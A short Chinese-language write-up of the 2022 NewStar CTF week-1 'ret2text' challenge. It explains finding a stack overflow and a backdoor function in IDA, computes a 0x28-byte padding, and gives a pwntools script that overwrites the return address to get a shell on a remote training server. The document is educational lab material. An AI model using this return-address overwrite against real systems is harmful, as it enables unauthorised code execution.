2022Newstar新生赛week1—ret2text
首先我们来看开了什么保护机制

然后打开64位ida

一个很明显的栈溢出,那么接下来就是去找有没有我们需要的函数

看到左侧有个backdoor,后门函数,点进去

这就是我们要的函数,执行了他我们就能拿到shell了,所以思路就是栈溢出把返回地址覆盖成后门函数的地址

看ida发现这个数组离rbp差0x20,那么加上rbp的0x8,也就是说我们要填充0x28大小的数据
from pwn import*
p=remote('node4.buuoj.cn',29103)
#p=process('ret2text')#本地测试
#gdb.attach(p)#gdb调试
p.recvuntil('name?')#看ida发现接收完name?就要发送了
payload=b'a'*0x28+p64(0x400708)#0x400708就是后门函数的地址
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号